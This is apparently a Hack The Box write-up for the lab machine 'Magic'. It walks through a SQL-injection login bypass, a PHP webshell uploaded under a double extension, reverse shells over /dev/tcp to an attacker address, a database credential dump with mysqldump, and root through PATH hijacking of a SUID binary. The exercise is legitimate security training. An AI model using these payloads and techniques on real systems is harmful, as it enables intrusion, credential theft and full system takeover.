HTB — Magic

1. Reconnaissance

Full port scan

nmap -p- --min-rate 5000 10.129.88.236

Result:

• 22/tcp — open — SSH
• 80/tcp — open — HTTP

Service/version scan

nmap -A -p 22,80 10.129.88.236

Result:

• 22 → OpenSSH 7.6p1 Ubuntu 4ubuntu0.3
• 80 → Apache 2.4.29 (Ubuntu)
• Page title: “Magic Portfolio”

2. Web Enumeration & Initial Access

Login page — SQL injection

• Found: http://10.129.88.236/login.php

• Tried SQL injection in the login form → successfully authenticated without valid credentials. (‘ or 1=1 — -)

Post-login — file upload

• Found: http://10.129.88.236/upload.php
• Uploaded a test file (test.png) → confirmed upload works

Directory brute-force

feroxbuster -u http://10.129.88.236

Found:

• /images/
• /assets/
• /assets/js/
• /assets/css/
• /images/uploads/ ← uploaded files land here

Upload filter bypass

• Server only accepts filenames ending in .jpg, .jpeg, or .png

• Bypass: embed a PHP webshell inside a file named with a double extension:
• Payload embedded mid-file: <?php system($_GET[cmd]); ?>
• Filename used: test.php.png
• Apache’s default config still executes the .php portion despite the trailing .png

Confirming code execution

• Visited: http://10.129.88.236/images/uploads/test.php.png
• PHP executed successfully via the cmd GET parameter

3. Getting a Shell

Listener

nc -nlvp 443

Reverse shell trigger (via webshell)

?cmd=bash -c 'bash -i >%26 /dev/tcp/10.10.15.247/443 0>%261'

✅ Got a shell as the web user

• Upgraded to an interactive shell

Initial limits

• user.txt → permission denied (wrong user context)
• sudo -l → prompted for a password (didn't have one yet)

4. Credential Discovery — Web App DB Config

Found config file

• Path: /var/www/Magic/db.php5

Get Cryx’s stories in your inbox
Join Medium for free to get updates from this writer.
Remember me for faster sign in
private static $dbName = 'Magic';
private static $dbHost = 'localhost';
private static $dbUsername = 'theseus';
private static $dbUserPassword = 'iamkingtheseus';

• Tried iamkingtheseus with sudo -l → failed (not a sudo/system password, just the DB password)

Pulling data out of MySQL without full DB access

• MySQL client wasn’t installed, and installing it needed admin rights

• Rather than tunneling to the local-only MySQL port (3306) with something like Chisel, used mysqldump directly — works even as an unprivileged user if DB creds are valid:

mysqldump --user=theseus --password=iamkingtheseus --host=localhost Magic

Result: dumped the login table:

INSERT INTO `login` VALUES (1,'admin','Th3s3usW4sK1ng');

→ Recovered a second password: Th3s3usW4sK1ng

5. Lateral Movement — theseus user

• Switched to system user theseus using password: Th3s3usW4sK1ng
• ✅ Captured user flag

Access checks

cd /root        # → Permission denied
sudo -l         # → "Sorry, user theseus may not run sudo on magic."

6. Privilege Escalation — SUID binary hijack (/bin/sysinfo)

Finding SUID binaries

find / -user root -type f -perm -4000 -ls 2>/dev/null

Command breakdown:

• find / — search entire filesystem
• -user root — owned by root
• -type f — regular files only
• -perm -4000 — SUID bit set
• -ls — detailed listing
• 2>/dev/null — suppress permission-denied noise

💡 Why SUID matters: a SUID binary run with the privileges of its owner (root), regardless of who executes it.

Target found

• /bin/sysinfo — unusual binary, restricted to the users group
• theseus is the only member of that group → directly usable

Analyzing its behavior

strace /bin/sysinfo
# or
ltrace /bin/sysinfo

Key finding:

popen("fdisk -l", "r") = 0x55a0c09df280

• sysinfo calls fdisk (and also lshw, free) without an absolute path
• This is a classic PATH hijacking vulnerability — whatever fdisk resolves to in $PATH gets executed with root privileges

Exploiting the PATH hijack

cd /tmp
export PATH="/tmp:$PATH"

echo -e '#!/bin/bash\n\n\nbash -i >& /dev/tcp/10.10.14.4/1234 0>&1' > fdisk
chmod +x fdisk
# listener on attack box:
nc -nlvp 1234
# then run:
/bin/sysinfo

• sysinfo runs as root (SUID) → calls fdisk → resolves to the malicious /tmp/fdisk first (due to modified $PATH) → executes the reverse shell as root

✅ Root shell obtained → root flag captured

7. Flags

Key Takeaways

• Login SQLi is still worth trying first on custom PHP portfolio-style apps — it bypassed auth outright here.
• Upload filters that only check the file extension can be beaten with a double extension (shell.php.png) when the server (Apache/PHP misconfig) still hands .php.* files to the PHP interpreter.
• A leaked DB config file is often a password reuse goldmine — even if the DB password itself doesn’t work for sudo/SSH, dumping the app's own user table can hand you a second, more useful credential.
• mysqldump with just a username/password/host can pull data over a local socket/port without needing a full interactive MySQL client installed — a handy alternative to port-forwarding tools like Chisel when you just need to read, not explore interactively.
• strace/ltrace on a SUID binary is the standard way to spot relative-path child-process calls (popen, system, execve without /usr/bin/...) — classic PATH hijack setup: prepend a malicious script with the same name to $PATH before running the SUID binary.